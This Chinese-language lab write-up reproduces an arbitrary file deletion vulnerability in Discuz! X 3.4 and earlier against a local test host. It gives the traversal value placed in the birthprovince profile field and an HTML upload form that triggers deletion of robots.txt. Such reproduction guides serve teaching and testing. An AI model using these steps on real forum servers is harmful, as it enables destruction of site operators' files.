Discuz! X ≤3.4 任意文件删除漏洞
概述
Discuz! 是一款流行的中文社区论坛软件系统。站长可以不需要任何编程基础,通过简单的安装和设置,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的网站。
在 Discuz! X 3.4 及以下版本中存在一个任意文件删除漏洞,攻击者可以通过用户资料修改功能删除服务器上的任意文件。
漏洞复现
启动靶场以后,访问 http://192.168.2.243:80/install/来安装 Discuz!,安装中使用如下配置:
- 数据库地址:
db
- 数据库名:
ultrax
- 数据库账号:
root
- 数据库密码:
root
安装完成以后即可顺利访问网站。
首先查看以下即将要被删除的文件 robots.txt
,访问 http://192.168.2.243/robots.txt
可以发现目标存在。
注册一个用户,并登录(会自动跳转登录)。
访问自己的个人页面,并在该页面中找到对应的 formhash
值。
可以看到对应的 formhash
值为 4d19c858
。
访问:
http://192.168.2.243/home.php?mod=spacecp&ac=profile&op=base
并抓包。
在请求包中找到 birthprovince
参数,并将其值改为要删除的文件的路径,例如此处的 ../../../robots.txt
,注意 formhash
的值也需要修改为一致的。
此时会到个人资料页面并刷新,会发现个人资料中的出生地被修改为了要删除文件的路径。
随后使用浏览器在该页面上传一个任意图片文件(注意修改其中的 URL 和 formhash
的值)。
<body>
<form action="http://192.168.2.243/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=4d19c858" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
自处应当注意,在发送的请求包中,formhash
参数的值以及 Cookie
的值一定要与登录账号的值一致,否则无法成功。
此时再次访问 http://192.168.2.243/robots.txt 则会返回 404 Not Found
,表明文件已经被删除。